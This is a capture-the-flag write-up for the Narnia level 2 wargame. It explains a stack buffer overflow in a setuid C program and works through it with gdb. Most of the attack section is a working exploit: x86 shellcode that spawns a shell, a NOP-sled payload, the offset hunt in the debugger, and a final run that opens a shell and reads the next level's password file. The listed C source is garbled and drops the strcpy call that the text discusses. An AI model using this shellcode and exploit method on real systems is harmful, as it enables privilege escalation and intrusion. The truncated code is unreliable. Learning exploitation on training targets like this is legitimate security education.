Narnia: Level 2

We all have to start somewhere

Posted on May 7, 2017, 8:32 p.m.

Level 2 is another buffer overflow vulnerability challenge caused by no length checking when using the strcpy function. In order to tackle this challenge it's useful to be familiar with the basics of x86 calling conventions, which you can learn about from this brilliant post by Alex Reece. Running cat narnia2.c as normal gives the following output.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
    printf("%s", buf);

    return 0;

The code is vulnerable due to the lack of length checking when copying argv[1] to buf using the strcpy function. The plan for this challenge will be to use this fact to overwrite the return address of the main function so that it points to an area in memory that we control. In this area we will put our shellcode from the previous level to open a shell as narnia2.

Just after space has been allocated on the stack for the local variable buf, our picture of the stack may look something like below. Note that this picture isn't completely accurate and I will making changes to it later.

| <lots of other stuff> | bottom of stack/higher memory addresses
|  <arguments to main>  | 
|   <return address>    |
|     <saved %ebp>      | <= %ebp
| <128 bytes for...     |
|               ...buf> | <= %esp 
|   <unused memory>     | top of stack/lower memory addresses

Since the saved ebp and the return address are 4 bytes in size it would seem as if we would only need 128+4+4=136 bytes in our payload to overflow the return address. Unfortunately, this does not work and the program prints the value of buf with no problems.

narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x41"*136')

As explained in more detail in this Stack Overflow answer, there are some instructions in x86-land that require data to be 16-byte aligned on the stack. At this point you shouldn't worry too much about why this needs to happen, but I will quickly explain how you can observe this behaviour by examining the narnia2 executable. If we were to use gdb to disassemble the main function of our program (which we will do in a later wargame) the first 4 instructions would be

push   %ebp
mov    %esp,%ebp
and    $0xfffffff0,%esp
sub    $0x90,%esp

push %ebp saves the current value of the ebp register (also known as the base pointer) by pushing it onto the stack. It also reduces the esp register (also known as the stack pointer) so that it's pointing at this saved value. mov %esp,%ebp sets ebp equal to esp so that ebp now points at the saved value of ebp. esp is then bitwise ANDed with 0xfffffff0, which effectively rounds esp down to the nearest multiple of 16. sub $0x90,%esp then allocates 128 bytes for buf plus an extra 16 bytes for the arguments for the functions that will be called later (such as printf and strcpy). Therefore, if esp isn't 16-byte aligned before it is bitwise ANDed with 0xfffffff0 then there will be unused memory between the memory reserved for buf and the saved ebp register. In order to find the size we need our payload to be, we simply need to keep incrementing it by 4 bytes until we see the program try to access memory address 0x41414141, giving a segmentation fault. To do this we will use the GNU debugger gdb. Note that we should only have to increment our payload 3 times at most since and $0xfffffff0,%esp can only change the value of esp by a maximum of 12 bytes.

narnia2@melinda:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "\x41"*140')
Starting program: /games/narnia/narnia2 $(python -c 'print "\x41"*140')

Program received signal SIGILL, Illegal instruction.
0xf7e3aa00 in __libc_start_main () from /lib32/
(gdb) run $(python -c 'print "\x41"*144')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia2 $(python -c 'print "\x41"*144')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Bingo! This means that there were 8 bytes between the saved ebp and the memory reserved for buf and our payload will have a total size of 144 bytes. Our corrected picture of the stack looks something like this.

| <lots of other stuff> | bottom of stack/higher memory addresses
|  <arguments to main>  | 
|   <return address>    |
|     <saved %ebp>      | <= %ebp
|  <8 bytes of garbage> | 8 byte buffer to force 16-byte alignment
| <128 bytes for...     |
|               ...buf> |
| <16 bytes for other...|
|...function arguments> | <= %esp 
|   <unused memory>     | top of stack/lower memory addresses

The last piece of information we need before we can write our payload is the address we want to overwrite the return address with. The plan will be to use what is know as a NOP sled. In our payload we will place only NOPs (no-operation) at the start and then at the end we will put our shellcode and the value we want to overwrite the return address with. If we can return execution to anywhere in this string of NOPs execution will 'slide' towards our shellcode by repeatedly doing nothing. Once it reaches our shellcode it will execute as normal and we will get our shell. Using python we can find out the length of our shellcode.

narnia2@melinda:/narnia$ python -c 'print len("\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42")'

Hence, the structure of our whole payload will look like the following. Bear in mind that the diagram below isn't to scale, for example, both the return address and the saved ebp are the same length, but I hope you'll forgive me. I have compared the payload to the sketch of our stack so you can see how the stack gets overwritten by the payload.

<---85 bytes of NOPs (hex 90)---><------55 bytes of shellcode-------><our return address>

<---------128 bytes for buf----------><8 bytes of garbage><saved ebp><--return address-->

If we can find an address that points anywhere inside the 85 bytes of NOPs we can use that for our return address and we will be finished. To find an appropriate value we will use gdbagain. Below I have used a dummy value of 0x43434343 for our return address and you can see below that the program segfaults at that value. The rest of the payload however is as it will be in the real exploit. I have explained what I've done below the gdb output.

narnia2@melinda:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "\x90"*85 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" +"\x43\x43\x43\x43"')
Starting program: /games/narnia/narnia2 $(python -c 'print "\x90"*85 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" +"\x43\x43\x43\x43"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) x/150x $esp
0xffffd650: 0x00000000  0xffffd6e4  0xffffd6f0  0xf7feacca
0xffffd660: 0x00000002  0xffffd6e4  0xffffd684  0x08049768
0xffffd670: 0x0804821c  0xf7fca000  0x00000000  0x00000000
0xffffd680: 0x00000000  0x4a21bfb1  0x72d83ba1  0x00000000
0xffffd690: 0x00000000  0x00000000  0x00000002  0x08048360
0xffffd6a0: 0x00000000  0xf7ff04c0  0xf7e3a9e9  0xf7ffd000
0xffffd6b0: 0x00000002  0x08048360  0x00000000  0x08048381
0xffffd6c0: 0x0804845d  0x00000002  0xffffd6e4  0x080484d0
0xffffd6d0: 0x08048540  0xf7feb160  0xffffd6dc  0x0000001c
0xffffd6e0: 0x00000002  0xffffd819  0xffffd82f  0x00000000
0xffffd6f0: 0xffffd8c0  0xffffd8d5  0xffffd8e5  0xffffd8f9
0xffffd700: 0xffffd918  0xffffd92b  0xffffd934  0xffffd941
0xffffd710: 0xffffde62  0xffffde6d  0xffffde79  0xffffded7
0xffffd720: 0xffffdeee  0xffffdefd  0xffffdf09  0xffffdf1a
0xffffd730: 0xffffdf23  0xffffdf36  0xffffdf3e  0xffffdf4e
0xffffd740: 0xffffdf80  0xffffdfa0  0xffffdfc0  0x00000000
0xffffd750: 0x00000020  0xf7fdadb0  0x00000021  0xf7fda000
0xffffd760: 0x00000010  0x0f8bfbff  0x00000006  0x00001000
0xffffd770: 0x00000011  0x00000064  0x00000003  0x08048034
0xffffd780: 0x00000004  0x00000020  0x00000005  0x00000008
0xffffd790: 0x00000007  0xf7fdc000  0x00000008  0x00000000
0xffffd7a0: 0x00000009  0x08048360  0x0000000b  0x000036b2
0xffffd7b0: 0x0000000c  0x000036b2  0x0000000d  0x000036b2
0xffffd7c0: 0x0000000e  0x000036b2  0x00000017  0x00000000
0xffffd7d0: 0x00000019  0xffffd7fb  0x0000001f  0xffffdfe2
0xffffd7e0: 0x0000000f  0xffffd80b  0x00000000  0x00000000
0xffffd7f0: 0x00000000  0x00000000  0x31000000  0x8f898dc5
0xffffd800: 0x55275ac6  0x71191883  0x69cb2bb8  0x00363836
0xffffd810: 0x00000000  0x00000000  0x61672f00  0x2f73656d
0xffffd820: 0x6e72616e  0x6e2f6169  0x696e7261  0x90003261
0xffffd830: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd840: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd850: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd860: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd870: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd880: 0x90909090  0x46b0c031  0xc931db31  0x16eb80cd
0xffffd890: 0x88c0315b  0x5b890743  0x0c438908  0x4b8d0bb0
0xffffd8a0: 0x0c538d08  0xe5e880cd

After loading up gdb I first use the run command which runs narnia2, passing in my payload with its dummy return address as the argument. After observing the segfault at 0x43434343 I enter x/150x $esp which prints the first 150 integers in hexadecimal format from the value of the stack pointer at the point the segfault was returned, working down the stack (so towards higher memory addresses). Towards the bottom of this output we can see a load of 90's (our NOPs) and the start of our shellcode. The addresses in memory for these values are on the left hand side. Pick a value for the return address somewhere in the middle of the 90's that does not contain any null bytes (\x00). Strings are null terminated in C so if your payload contains a null byte strcpy will only copy up to that null byte. I will pick 0xffffd850. The environment when running the program inside of gdb isn't exactly the same as when running it outside of gdb and so these addresses won't be exactly the same when we run the exploit for real. However, the string of NOPs is long enough that we don't need to be exact. It is actually possible to match the environments and we will be doing it in a later challenge, but in this case a long string of NOPs is fine to cope with the variability that gdb introduces. We could run our exploit inside gdb, but it would execute without its setuid bit set and we would end up opening a shell as the user we're already logged in as! Finally, we can fill in our real return address and execute our payload.

narnia2@melinda:/narnia$ ./narnia2 $(python -c 'print "\x90"*85 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42" + "\x50\xd8\xff\xff"')
$ whoami
$ cat /etc/narnia_pass/narnia3


Latest Posts